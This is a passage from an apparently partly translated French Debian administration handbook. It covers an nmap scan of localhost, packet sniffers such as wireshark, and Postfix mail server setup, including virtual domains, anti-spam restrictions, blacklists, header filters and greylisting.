Nmap scan report for localhost (127.0.0.1)

Host is up (0.000086s latency).

Other addresses for localhost (not scanned): ::1

Not shown: 994 closed ports

PORT    STATE SERVICE VERSION

22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)

|_auth-owners: foobar

25/tcp  open  smtp    Postfix smtpd

|_auth-owners: foobar

|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,

| ssl-cert: Subject: commonName=debian

| Subject Alternative Name: DNS:debian

| Not valid before: 2022-02-22T14:48:42

|_Not valid after:  2032-02-20T14:48:42

|_ssl-date: TLS randomness does not represent time

79/tcp  open  finger?

|_auth-owners: foobar

|_finger: ERROR: Script execution failed (use -d to debug)

80/tcp  open  http    Apache httpd 2.4.52 ((Debian))

|_auth-owners: foobar

|_http-server-header: Apache/2.4.52 (Debian)

|_http-title: Apache2 Debian Default Page: It works

113/tcp open  ident   Liedentd (Claimed user: foobar)

|_auth-owners: foobar

631/tcp open  ipp     CUPS 2.3

|_auth-owners: foobar

| http-robots.txt: 1 disallowed entry

|_/

|_http-server-header: CUPS/2.3 IPP/2.1

|_http-title: Home - CUPS 2.3.3op2

Service Info: Host:  debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 87.91 seconds

As expected, e.g. the SSH, Apache and Postfix applications are listed. Note that not all applications listen on all IP addresses; since Postfix is only accessible on the lo loopback interface, it only appears during an analysis of localhost and not when scanning debian (which maps to the enp1s0 interface on the same machine).

10.9.3. Les sniffers : tcpdump et wireshark

Il arrive parfois que l'on ait besoin de voir ce qui passe réellement sur le réseau, paquet par paquet. On utilise dans ce cas un « analyseur de trame », plus connu sous le nom de sniffer (renifleur). Cet outil scrute tous les paquets qui atteignent une interface réseau et les affiche de manière plus lisible à l'utilisateur.

L'ancêtre dans ce domaine est sans conteste tcpdump (dans le paquet du même nom). Il est disponible en standard sur un très grand nombre de plates-formes et permet toutes sortes de captures de trafic réseau, mais la représentation de ce trafic reste assez obscure. Par conséquent, nous ne nous étendrons pas dessus.

Plus récent et plus moderne, l'outil wireshark (paquet wireshark) est devenu la référence dans l'analyse de trafic réseau, notamment grâce à ses nombreux modules de décodage qui permettent une analyse simplifiée des paquets capturés. La représentation graphique des paquets est en effet organisée par couches successives, ce qui permet de visualiser chacun des protocoles impliqués dans un paquet. Par exemple, pour un paquet correspondant à une requête HTTP, on verra de manière séparée les informations correspondant à la couche physique, la couche Ethernet, les informations du paquet IP, puis celles de la connexion TCP, puis enfin la requête HTTP en tant que telle. On pourra ainsi se focaliser sur une couche particulière.

Figure 10.1. Analyseur de trafic réseau wireshark

In our example, the packets traveling over SSH are filtered out (with the !tcp.port == 22 filter). The packet currently displayed was developed at the transport layer of the SSHv2 protocol.

ASTUCE wireshark sans interface graphique : tshark

Lorsque l'on ne souhaite pas lancer d'interface graphique, ou que c'est impossible pour une raison ou une autre, on peut utiliser une version en texte seul de wireshark appelée tshark (dans un paquet tshark séparé). La plupart des fonctionnalités de capture et de décodage des paquets restent présentes, mais le manque d'interface graphique limite forcément les interactions avec le programme (filtrage des paquets après la capture, suivi d'une connexion TCP, etc.). On l'emploiera donc pour une première approche. Si l'on s'aperçoit que l'interface est importante pour les manipulations que l'on a en tête, on pourra toutefois sauvegarder les paquets capturés dans un fichier et importer ce dernier dans un wireshark graphique sur une autre machine.

Chapitre 11. Services réseau : Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

Les services réseau sont les programmes interagissant directement avec les utilisateurs dans leur travail quotidien. C'est la partie émergée de l'iceberg « système d'information » présentée dans ce chapitre. La partie immergée, l'infrastructure sur laquelle ils s'appuient, reste en arrière-plan. Ils ont généralement besoin de la technique de chiffrement décrite dans Section 10.2, « X.509 certificates ».

11.1. Serveur de messagerie électronique

Les administrateurs de Falcot SA ont retenu Postfix comme serveur de courrier électronique en raison de sa simplicité de configuration et de sa fiabilité. En effet, sa conception réduit au maximum les droits de chacune de ses sous-tâches, ce qui limite l'impact de toute faille de sécurité.

ALTERNATIVE Le serveur Exim4

Debian emploie Exim4 comme serveur de messagerie par défaut (il est donc automatiquement installé pendant l'installation initiale). La configuration, fournie par le paquet exim4-config, est automatiquement personnalisée grâce à un certain nombre de questions debconf très similaires à celles posées par postfix.

La configuration est, au choix, soit dans un seul gros fichier (/etc/exim4/exim4.conf.template), soit dans un certain nombre de fragments de fichiers répartis dans /etc/exim4/conf.d/. Dans les deux cas, les fichiers sont exploités par la commande update-exim4.conf comme modèles pour générer /var/lib/exim4/config.autogenerated, qui est le fichier utilisé par Exim4. Grâce à ce mécanisme, les valeurs obtenues par la configuration debconf de Exim (stockées dans /etc/exim4/update-exim4.conf.conf) peuvent être injectées dans le fichier de configuration d'Exim, et cela même si l'administrateur ou un autre paquet ont modifié la configuration Exim par défaut.

La syntaxe de configuration d'Exim4 est assez particulière et il faut un certain temps pour s'y accoutumer. Toutefois, une fois que ces particularités sont maîtrisées, il s'agit d'un serveur de messagerie très complet et très puissant. Il suffit de parcourir les dizaines de pages de documentation pour s'en rendre compte.

→ https://www.exim.org/docs.html

11.1.1. Installation de Postfix

Le paquet Debian postfix contient le démon SMTP principal. Divers modules (comme postfix-ldap ou postfix-pgsql) offrent des fonctionnalités supplémentaires à Postfix (notamment en termes d'accès à des bases de données de correspondances). Ne les installez que si vous en avez déjà perçu le besoin.

B.A.-BA SMTP

SMTP (Simple Mail Transfer Protocol, RFC 5321) est le protocole employé par les serveurs de messagerie pour s'échanger et router les courriers électroniques.

Au cours de l'installation du paquet, plusieurs questions sont posées par l'intermédiaire de debconf. Les réponses permettront de générer un premier fichier /etc/postfix/main.cf.

La première question porte sur le type d'installation. Parmi les choix proposés, seuls deux sont pertinents dans le cadre d'un serveur connecté à Internet. Il s'agit de Site Internet et de Site Internet utilisant un smarthost. Le premier choix est adapté à un serveur qui reçoit et envoie le courrier directement à ses destinataires, mode retenu par les administrateurs de Falcot. Le second correspond à un serveur qui reçoit directement le courrier mais en envoie par le biais d'un serveur SMTP intermédiaire — désigné par le terme smarthost — plutôt que directement au serveur du destinataire. C'est surtout utile pour les particuliers disposant d'une adresse IP dynamique, parce que certains serveurs de messagerie refusent tout message provenant directement d'une telle adresse IP. Le smarthost sera ici le serveur SMTP du fournisseur d'accès à Internet (FAI), qui est toujours configuré pour transmettre le courrier provenant de ses clients. Cette solution est également intéressante pour toute machine qui n'est pas connectée en permanence, car cela lui évite de devoir gérer une file d'attente des messages non délivrables qu'il faudra réessayer d'expédier plus tard.

VOCABULAIRE FAI

ISP is the acronym for “Internet Service Provider”. It covers an entity, often a commercial company, that provides Internet connections and the associated basic services (email, news and so on).

La deuxième question porte sur le nom complet de la machine, employé pour générer une adresse de courrier électronique depuis un nom d'utilisateur local (c'est la partie suivant l'arobase « @ »). Pour Falcot, la réponse est mail.falcot.com. C'est la seule question posée en standard, mais elle ne suffit pas pour avoir une configuration satisfaisante, les administrateurs exécutent donc dpkg-reconfigure postfix afin de pouvoir personnaliser plus de paramètres.

Parmi les questions supplémentaires, l'ordinateur demande de saisir tous les noms de domaines associés à cette machine. La liste proposée inclut le nom complet de la machine et des synonymes de localhost, mais pas le domaine principal falcot.com, qu'il faut ajouter manuellement. D'une manière générale, il convient habituellement de donner ici tous les noms de domaines pour lesquels cette machine fait office de serveur MX (c'est-à-dire tous ceux pour lesquels le DNS indique qu'elle est apte à accepter du courrier). Ces informations sont ensuite stockées dans la variable mydestination du fichier /etc/postfix/main.cf (principal fichier de configuration de Postfix).

Figure 11.1. Rôle de l'enregistrement DNS MX dans un envoi de courrier électronique

COMPLÉMENTS Interrogation des enregistrements MX

Si le serveur DNS ne publie pas d'enregisrement MX pour un domaine, le serveur de messagerie tentera d'envoyer le courrier à la machine de même nom. Il emploiera donc l'enregistrement de type A correspondant (ou AAAA en IPv6).

Selon les cas, l'installation peut également demander d'indiquer les réseaux habilités à envoyer du courrier par l'intermédiaire de cette machine. Par défaut, Postfix est configuré pour n'accepter que des courriers électroniques issus de la machine elle-même ; il faut généralement ajouter le réseau local. Les administrateurs ont donc ajouté 192.168.0.0/16 à la réponse par défaut. Si la question n'est pas posée, il faut modifier le fichier de configuration et y changer la variable mynetworks, comme on le voit sur l'exemple plus loin.

Local email can also be delivered through procmail. This tool allows users to sort their incoming email according to rules stored in their ~/.procmailrc file. Both Postfix and Exim4 suggest procmail by default, but there are alternatives like maildrop or Sieve filters.

Après cette première étape, les administrateurs ont obtenu le fichier de configuration ci-dessous. Il va servir de base pour les sections suivantes, qui le modifieront pour activer certaines fonctionnalités.

Exemple 11.1. Fichier /etc/postfix/main.cf initial

# See /usr/share/postfix/main.cf.dist for a commented, more complete version

# Debian specific:  Specifying a file name will cause the first

# line of that file to be used as the name.  The Debian default

# is /etc/mailname.

#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)

biff = no

# appending .domain is the MUA's job.

append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings

#delay_warning_time = 4h

readme_directory = no

# See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on

# fresh installs.

compatibility_level = 2

# TLS parameters

smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem

smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key

smtpd_tls_security_level=may

smtp_tls_CApath=/etc/ssl/certs

smtp_tls_security_level=may

smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache

smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination

myhostname = mail.falcot.com

alias_maps = hash:/etc/aliases

alias_database = hash:/etc/aliases

mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost

relayhost =

mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16

mailbox_size_limit = 0

recipient_delimiter = +

inet_interfaces = all

default_transport = smtp

relay_transport = smtp

inet_protocols = all

myorigin = /etc/mailname

SÉCURITÉ Certificat SSL snake oil

The snake oil certificates, like the snake oil “medicine” sold by unscrupulous quacks in old times, have absolutely no value: you cannot rely on them to authenticate the server since they are automatically generated self-signed certificates. However, they are useful to improve the privacy of the exchanges.

In general they should only be used for testing purposes, and normal service must use real certificates. The Let's encrypt initiative offers free and trusted SSL/TLS certificates, which can be generated using the certbot package as described in Section 11.2.2, « Adding support for SSL » and then used in postfix like this:

smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/fullchain.pem

smtpd_tls_key_file = /etc/letsencrypt/live/DOMAIN/privkey.pem

smtpd_tls_CAfile = /etc/ssl/certs/ca-certificates.crt

smtpd_tls_CApath = /etc/ssl/certs

smtp_tls_CApath = /etc/ssl/certs

A different way to generate your own certificates using your own certificate authority is described in Section 10.2.2, « Infrastructure de clés publiques easy-rsa ».

11.1.2. Configuration de domaines virtuels

The mail server can receive mails addressed to other domains besides the main domain; these are then known as “virtual“ domains. In most cases where this happens, the emails are not ultimately destined to local users. Postfix provides two interesting features for handling virtual domains.

ATTENTION Domaines virtuels et domaines canoniques

Aucun des domaines virtuels ne doit être indiqué dans la variable mydestination. Celle-ci contient uniquement les noms des domaines « canoniques », directement associés à la machine et à ses utilisateurs locaux.

11.1.2.1. Domaine virtuel d'alias

Un domaine virtuel d'alias ne contient que des alias, c'est-à-dire des adresses électroniques renvoyant le courrier vers d'autres adresses électroniques.

Pour activer un tel domaine, il faut préciser son nom dans la variable virtual_alias_domains et indiquer le fichier stockant les correspondances d'adresses dans la variable virtual_alias_maps.

virtual_alias_domains = marqueafalcot.tm.fr

virtual_alias_maps = hash:/etc/postfix/virtual

Le fichier /etc/postfix/virtual, décrivant les correspondances, emploie un format relativement simple. Chaque ligne contient deux champs séparés par une série de blancs, dont le premier est le nom de l'alias et le second une liste d'adresses électroniques vers lesquelles il pointe. La syntaxe spéciale @domaine.fr englobe tous les alias restants d'un domaine.

webmaster@falcotsbrand.com  jean@falcot.com

contact@falcotsbrand.com    laure@falcot.com, sophie@falcot.com

# The alias below is generic and covers all addresses within

# the falcotsbrand.com domain not otherwise covered by this file.

# These addresses forward email to the same user name in the

# falcot.com domain.

@falcotsbrand.com           @falcot.com

After changing /etc/postfix/virtual the postfix table /etc/postfix/virtual.db needs to be updated using sudo postmap /etc/postfix/virtual.

11.1.2.2. Domaine virtuel de boîtes aux lettres

ATTENTION Domaine virtuel mixte ?

Il n'est pas permis d'indiquer le même domaine dans les variables virtual_alias_domains et virtual_mailbox_domains. En revanche, tout domaine de virtual_mailbox_domains est implicitement compris dans virtual_alias_domains. Il est donc possible de mélanger alias et boîtes aux lettres au sein d'un domaine virtuel.

Les courriers destinés à un domaine virtuel de boîtes aux lettres sont stockés dans des boîtes aux lettres qui ne sont pas associées à un utilisateur local du système.

Pour activer un domaine virtuel de boîtes aux lettres, il faut l'écrire dans la variable virtual_mailbox_domains et préciser le fichier donnant les boîtes aux lettres avec la variable virtual_mailbox_maps. Le paramètre virtual_mailbox_base indique le répertoire sous lequel les différentes boîtes aux lettres seront stockées.

virtual_mailbox_domains = falcot.org

virtual_mailbox_maps = hash:/etc/postfix/vmailbox

virtual_mailbox_base = /var/mail/vhosts

Les paramètres virtual_uid_maps et virtual_gid_maps définissent des tables de correspondances entre l'adresse électronique, l'utilisateur et le groupe Unix propriétaire de la boîte aux lettres. Pour indiquer systématiquement le même propriétaire, la syntaxe static:5000 dénote un UID/GID fixe.

Le format du fichier /etc/postfix/vmailbox est de nouveau très simple : deux champs séparés par des blancs. Le premier indique une adresse électronique de l'un des domaines virtuels et le second l'emplacement relatif de la boîte aux lettres associée (par rapport au répertoire donné par virtual_mailbox_base). Si le nom de la boîte aux lettres se termine par une barre de division (/), cette boîte sera stockée au format maildir ; dans le cas contraire, c'est le traditionnel mbox qui sera retenu. Le format maildir emploie un répertoire complet pour représenter la boîte aux lettres et chaque message est stocké dans un fichier. A contrario, une boîte aux lettres au format mbox est stockée dans un seul fichier et chaque ligne débutant par From  (From suivi d'une espace) marque le début d'un nouveau message électronique.

# le courrier de jean est stocké au format maildir

# (1 fichier par courrier dans un répertoire privé)

jean@falcot.org falcot.org/jean/

# le courrier de sophie est stocké dans un fichier

# "mbox" traditionnel (tous les courriers concaténés

# dans un fichier)

sophie@falcot.org falcot.org/sophie

11.1.3. Restrictions à la réception et à l'envoi

Avec le nombre croissant de messages non sollicités (spams), il est nécessaire d'être de plus en plus strict sur les messages que le serveur accepte. Cette section présente les différentes stratégies intégrées à Postfix.

If the reject-rules are too strict, it may happen that even legitimate email traffic gets locked out. It is therefor a good habit to test restrictions and prevent the permanent rejection of requests during this time using the soft_bounce = yes directive. By prepending a reject-type directive with warn_if_reject only a log message will be recorded instead of rejecting the request.

CULTURE Le problème du spam

“Spam” is a generic term used to designate all the unsolicited commercial emails (also known as UCEs) that flood our electronic mailboxes; the unscrupulous individuals sending them are known as spammers. They care little about the nuisance they cause, since sending an email costs very little, and only a very small percentage of recipients need to be attracted by the offers for the spamming operation to make more money than it costs. The process is mostly automated, and any email address made public (for instance, on a web forum, or on the archives of a mailing list, or on a blog, and so on) will be likely discovered by the spammers' robots, and subjected to a never-ending stream of unsolicited messages. Also every contact found at a compromised system is targeted.

Face à ces nuisances, tous les administrateurs informatiques essaient de mettre en place des filtres anti-spam, mais les spammeurs cherchent sans arrêt à les contourner. Certains n'hésitent pas à faire appel aux services de réseaux mafieux contrôlant de nombreuses machines compromises par un ver. Les dernières statistiques estiment que 95 % des courriers expédiés sont des spams !

11.1.3.1. Restreindre l'accès en fonction de l'adresse IP

La directive smtpd_client_restrictions contrôle les machines autorisées à communiquer avec le serveur de courrier électronique.

Lorsqu'une variable contient une liste de règles comme dans l'exemple ci-dessous, il faut savoir que celles-ci sont évaluées dans l'ordre, de la première à la dernière. Chaque règle peut accepter le message, le refuser ou le laisser poursuivre son chemin à travers celles qui suivent. L'ordre a donc une importance et l'inversion de deux règles peut mettre en place un comportement très différent.

Exemple 11.2. Restrictions en fonction de l'adresse du client

smtpd_client_restrictions =

permit_mynetworks,

warn_if_reject reject_unknown_client_hostname,

check_client_access hash:/etc/postfix/access_clientip,

reject_rhsbl_reverse_client dbl.spamhaus.org,

reject_rhsbl_reverse_client rhsbl.sorbs.net,

reject_rbl_client zen.spamhaus.org,

reject_rbl_client dnsbl.sorbs.net

La directive permit_mynetworks, placée en tête de la liste des règles, accepte inconditionnellement toute machine du réseau local (tel que défini par la variable mynetworks dans la configuration).

The second directive would normally reject emails coming from machines without a completely valid DNS configuration. Such a valid configuration means that the IP address can be resolved to a name, and that this name, in turn, resolves to the IP address. This restriction is often too strict, since many email servers do not have a reverse DNS for their IP address. This explains why the Falcot administrators prepended the warn_if_reject modifier to the reject_unknown_client directive: this modifier turns the rejection into a simple warning recorded in the logs. The administrators can then keep an eye on the number of messages that would be rejected if the rule were actually enforced, and make an informed decision later if they wish to enable such enforcement.

ASTUCE Tables access

The restriction criteria include administrator-modifiable tables listing combinations of senders, IP addresses, and allowed or forbidden hostnames. These tables can be created using a copy of the /usr/share/doc/postfix/examples/access file shipped with the postfix-doc package and explained in access(5). This model is self-documented in its comments, which means each table describes its own syntax.

La table /etc/postfix/access_clientip donne la liste des adresses IP et réseau. La table /etc/postfix/access_helo fournit celle des noms de machines et de domaines. Enfin, la table /etc/postfix/access_sender précise les adresses électroniques. Après toute modification, chacun de ces fichiers doit être transformé en table de hachage, c'est-à-dire en une forme optimisée pour les accès rapides, par la commande sudo postmap /etc/postfix/fichier.

The check_client_access directive allows the administrator to set up a blacklist and a whitelist of email servers, stored in the /etc/postfix/access_clientip file. Servers in the whitelist are considered as trusted, and the emails coming from there therefore do not go through the following filtering rules.

The last four rules reject any message coming from a server listed in one of the indicated blacklists. RBL is an acronym for Remote Black List, and RHSBL stands for Right-Hand Side Black List. The difference is that the former lists IP addresses, whereas the latter lists domain names. There are several such services. They list domains and IP addresses with poor reputation, badly configured servers that spammers use to relay their emails, as well as unexpected mail relays such as machines infected with worms or viruses.

ASTUCE Liste blanche et RBL

Les listes noires recensent parfois un serveur légitime victime d'un incident. Tout courrier issu de ce serveur serait alors refusé à moins que vous ne l'ayez listé dans la liste blanche associée au fichier /etc/postfix/access_clientip.

Prudence therefore recommends including in the whitelist(s) all the trusted servers from which many emails are usually received.

11.1.3.2. Vérifier la validité de la commande EHLO ou HELO

Each SMTP exchange starts with a HELO (or EHLO) command, followed by the name of the sending email server. Checking the validity of this name can be interesting. To fully enforce the restrictions listed in smtpd_helo_restrictions the smtpd_helo_required option needs to be enabled. Otherwise clients could skip the restrictions by not sending any HELO/EHLO command.

Exemple 11.3. Restrictions sur le nom annoncé lors du EHLO

smtpd_helo_required = yes

smtpd_helo_restrictions =

permit_mynetworks,

reject_invalid_helo_hostname,

reject_non_fqdn_helo_hostname,

warn_if_reject reject_unknown_helo_hostname,

check_helo_access hash:/etc/postfix/access_helo,

reject_rhsbl_helo multi.surbl.org

La première directive permit_mynetworks autorise toutes les machines du réseau local à s'annoncer librement. C'est important car certains logiciels de courrier électronique respectent mal cette partie du protocole SMTP et peuvent donc annoncer des noms fantaisistes.

The reject_invalid_helo_hostname rule rejects emails when the EHLO announce lists a syntactically incorrect hostname. The reject_non_fqdn_helo_hostname rule rejects messages when the announced hostname is not a fully-qualified domain name (including a domain name as well as a host name). The reject_unknown_helo_hostname rule rejects messages if the announced name does not exist in the DNS. Since this last rule unfortunately leads to a lot of rejections, the administrators turned its effect to a simple warning with the warn_if_reject modifier as a first step; they may decide to remove this modifier at a later stage, after auditing the results of this rule.

The reject_rhsbl_helo allows to specify a black list to check the hostname against an RHSBL.

L'emploi de permit_mynetworks au début a l'effet secondaire intéressant de n'appliquer les règles suivantes qu'à des machines extérieures au réseau local. Il est ainsi possible de mettre en liste noire tous ceux qui s'annoncent membres du réseau falcot.com... ce qui s'effectue en ajoutant la ligne falcot.com REJECT You're not in our network! au fichier /etc/postfix/access_helo.

11.1.3.3. Accepting or Refusing Mails Based on the Announced Sender

Chaque message envoyé est associé à un expéditeur annoncé par la commande MAIL FROM du protocole SMTP, information qu'il est possible de vérifier de plusieurs manières.

Exemple 11.4. Vérifications sur l'expéditeur

smtpd_sender_restrictions =

check_sender_access hash:/etc/postfix/access_sender,

reject_unknown_sender_domain,

reject_unlisted_sender,

reject_non_fqdn_sender,

reject_rhsbl_sender rhsbl.sorbs.net

La table /etc/postfix/access_sender associe des traitements particuliers à certains expéditeurs. En général, il s'agit simplement de les placer dans une liste blanche ou noire.

The reject_unknown_sender_domain rule requires a valid sender domain, since it is needed for a valid address. The reject_unlisted_sender rule rejects local senders if the address does not exist; this prevents emails being sent from an invalid address in the falcot.com domain, and messages emanating from joe.bloggs@falcot.com are only accepted if such an address really exists.

Enfin, la règle reject_non_fqdn_sender refuse les messages en provenance d'adresses électroniques sans nom de domaine complètement qualifié. Concrètement, elle refusera un courrier provenant de utilisateur@machine : celui-ci doit s'annoncer comme utilisateur@machine.domaine.fr ou utilisateur@domaine.fr.

The reject_rhsbl_sender rule reject senders based on a (domain-based) RHSBL service.

11.1.3.4. Accepting or Refusing Mails Based on the Recipient

Chaque courrier compte un ou plusieurs destinataires, communiqués par l'intermédiaire de la commande RCPT TO du protocole SMTP. On pourra également vérifier ces informations, même si c'est moins intéressant que pour l'expéditeur.

Exemple 11.5. Vérifications sur le destinataire

smtpd_recipient_restrictions =

permit_mynetworks,

reject_unauth_destination,

reject_unlisted_recipient,

reject_non_fqdn_recipient,

permit

reject_unauth_destination est la règle de base imposant à tout courrier provenant de l'extérieur de nous être destiné ; dans le cas contraire, il faut refuser de relayer le message. Sans cette règle, votre serveur est un relais ouvert qui permet aux spammeurs d'envoyer des courriers non sollicités par son intermédiaire. Elle est donc indispensable et on la placera de préférence en début de liste pour qu'aucune autre règle ne risque d'autoriser le passage du courrier avant d'avoir éliminé les messages ne concernant pas ce serveur.

La règle reject_unlisted_recipient refuse les messages à destination d'utilisateurs locaux inexistants (ce qui est logique). Enfin, la règle reject_non_fqdn_recipient refuse les adresses électroniques non qualifiées. Il est ainsi impossible d'écrire à jean ou à jean@machine ; il faut employer la forme complète de l'adresse : jean@machine.falcot.com ou jean@falcot.com.

The permit directive at the end is not necessary. But it can be useful at the end of a restriction list to make the default policy explicit.

11.1.3.5. Restrictions associées à la commande DATA

La commande DATA du protocole SMTP précède l'envoi des données contenues dans le message. Elle ne fournit aucune information en soi, mais prévient de ce qui va suivre. Il est pourtant possible de lui mettre en place des contrôles.

Exemple 11.6. Restriction sur la commande DATA

smtpd_data_restrictions = reject_unauth_pipelining

La règle reject_unauth_pipelining refuse le message si le correspondant envoie une commande sans avoir attendu la réponse à la commande précédente. Les robots des spammeurs font régulièrement cela : pour travailler plus vite, ils se moquent des réponses et visent seulement à envoyer un maximum de courriers, dans le laps de temps le plus court.

11.1.3.6. Application des restrictions

Although the above commands validate information at various stages of the SMTP exchange, Postfix sends the actual rejection as a reply to the RCPT TO command by default.

Ainsi, même si le message est refusé suite à une commande EHLO invalide, Postfix connaîtra l'émetteur et le destinataire lorsqu'il annoncera le refus. Il peut donc enregistrer un message de log plus explicite que s'il avait interrompu la connexion dès le début. De plus, beaucoup de clients SMTP ne s'attendent pas à subir un échec sur l'une des premières commandes du protocole SMTP et les clients mal programmés seront moins perturbés par ce refus tardif.

Dernier avantage de ce choix : les règles peuvent associer les informations obtenues à différents stades de l'échange SMTP. On pourra ainsi refuser une connexion non locale si elle s'annonce avec un émetteur local.

The default behavior is controlled by the smtpd_delay_reject rule.

11.1.3.7. Filtrer en fonction du contenu du message

Le système de vérification et de restriction ne serait pas complet sans moyen de réagir au contenu du message. Postfix distingue deux types de vérifications : sur les en-têtes du courrier et sur le corps du message.

Exemple 11.7. Activation des filtres sur le contenu

header_checks = regexp:/etc/postfix/header_checks

body_checks = regexp:/etc/postfix/body_checks

Les deux fichiers contiennent une liste d'expressions rationnelles (regexp). Chacune est associée à une action à exécuter si elle est satisfaite par les en-têtes ou le corps du message.

DÉCOUVERTE Tables regexp

The file /usr/share/doc/postfix/examples/header_checks (from the postfix-doc package) and header_checks(5) contain many explanatory comments and can be used as a starting point for creating the /etc/postfix/header_checks and /etc/postfix/body_checks files.

Exemple 11.8. Exemple de fichier /etc/postfix/header_checks

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane)

/^Subject: *Your email contains VIRUSES/ DISCARD virus notification

B.A.-BA Expression rationnelle

The regular expression term (shortened to regexp or regex) references a generic notation for expressing a description of the contents and/or structure of a string of characters. Certain special characters allow defining alternatives (for instance, foo|bar matches either “foo” or “bar”), sets of allowed characters (for instance, [0-9] means "any digit", and . — a dot — means "any character"), quantification (s? matches either s or the empty string, in other words 0 or 1 occurrence of s; s+ matches one or more consecutive s characters; and so on). Parentheses allow grouping search results.

La syntaxe précise de ces expressions varie selon l'outil qui les emploie mais les fonctionnalités de base restent les mêmes.

→ https://fr.wikipedia.org/wiki/Expression_rationnelle

La première vérifie l'en-tête indiquant le logiciel de courrier électronique envoyé : si elle trouve GOTO Sarbacane (un logiciel d'envoi en masse de courriers), elle refuse le message. La seconde expression contrôle le sujet du message : s'il indique une notification de virus sans intérêt, elle accepte le message mais le supprime immédiatement.

L'emploi de ces filtres est à double tranchant, car il est facile de les faire trop génériques et de perdre des courriers légitimes. Dans ce cas, non seulement les messages seront perdus, mais leurs expéditeurs recevront des messages d'erreur inopportuns — souvent agaçants.

11.1.4. Mise en place du greylisting

“Greylisting” is a filtering technique according to which a message is initially rejected with a temporary error code, and only accepted after a further delivery attempt with some delay. This filtering is particularly efficient against spam sent by the many machines infected by worms and viruses, since this software rarely acts as a full SMTP agent (by checking the error code and retrying failed messages later), especially since many of the harvested addresses are really invalid and retrying would only mean losing time.

Postfix n'offre pas cette fonctionnalité de manière native, mais il permet d'externaliser la décision d'accepter ou rejeter un message donné. Le paquet postgrey propose justement un logiciel prévu pour s'interfacer avec ce service de délégation des politiques d'accès.

postgrey installé, il se présente comme un démon en attente de connexions sur le port 10 023. Il suffit alors d'employer le paramètre check_policy_service comme restriction supplémentaire :

smtpd_recipient_restrictions =

permit_mynetworks,

[...]

check_policy_service inet:127.0.0.1:10023

Each time Postfix reaches this rule in the rule set, it will connect to the postgrey daemon and send it information concerning the relevant message. On its side, Postgrey considers the IP address/sender/recipient triplet and checks in its database whether that same triplet has been seen recently. If so, Postgrey replies that the message should be accepted; if not, the reply indicates that the message should be temporarily rejected, and the triplet gets recorded in the database.

Évidemment, le grand désavantage du greylisting est qu'il va retarder la réception des courriels légitimes et parfois ces délais sont inacceptables. Il inflige également un coût important aux serveurs qui envoient de nombreux courriers légitimes.

EN PRATIQUE Limites du greylisting

En théorie, le greylisting ne retarde que le premier courriel d'un expéditeur donné pour un destinataire donné et le délai est de l'ordre de quelques minutes à quelques dizaines de minutes. Cependant, la réalité n'est pas toujours si simple. En effet, certains gros fournisseurs d'accès emploient plusieurs serveurs SMTP en grappe et après le premier refus, rien ne garantit que le même serveur effectue la deuxième tentative. Si ce n'est pas le cas, la deuxième tentative échouera à nouveau et, au lieu d'un délai de quelques minutes, on peut constater des délais de plusieurs heures (jusqu'à ce que l'on retombe sur un serveur qui avait déjà essayé) car à chaque nouvelle erreur, le serveur SMTP augmente le délai d'attente avant le prochain essai.

Ainsi donc, l'adresse IP entrante pour un expéditeur donné n'est pas forcément fixe dans le temps. De même, l'adresse d'un expéditeur donné n'est pas forcément fixe non plus. De nombreux logiciels de listes de diffusion encodent des informations dans l'adresse de l'expéditeur afin de traiter de manière automatisée les retours d'erreurs (bounces). Chaque nouveau message d'une liste de diffusion peut devoir repasser par le filtre du greylisting, ce qui implique à l'émetteur de le stocker. Pour les très grosses listes avec des dizaines de milliers d'abonnés, cela peut rapidement devenir problématique.

Pour ces raisons, Postgrey dispose d'une liste blanche de sites correspondant à ces caractéristiques. Pour ceux-là, il répond d'accepter le message immédiatement. Il est possible de la personnaliser en éditant le fichier /etc/postgrey/whitelist_clients.

POUR ALLER PLUS LOIN Greylisting sélectif avec milter-greylist

Pour limiter les inconvénients du greylisting, il est possible de ne l'appliquer qu'à un sous-ensemble des clients qui sont déjà considérés comme des sources probables de spam parce qu'ils apparaissent dans une liste noire DNS. Ceci n'est pas possible avec postgrey mais le paquet milter-greylist permet de l'effectuer.

Dans ce scénario, comme les listes noires DNS ne déclenchent aucun refus définitif, il est possible d'employer des listes noires DNS assez agressives et notamment celles qui listent toutes les adresses IP dynamiques des clients des fournisseurs d'accès, comme pbl.spamhaus.org ou dul.dnsbl.sorbs.net.

Since milter-greylist uses Sendmail's milter interface, the postfix side of its configuration is limited to “smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock”. The greylist.conf(5) manual page documents /etc/milter-greylist/greylist.conf and the numerous ways to configure milter-greylist. You will also have to edit /etc/default/milter-greylist to actually enable the service.

11.1.5. Personnalisation des filtres en fonction du destinataire

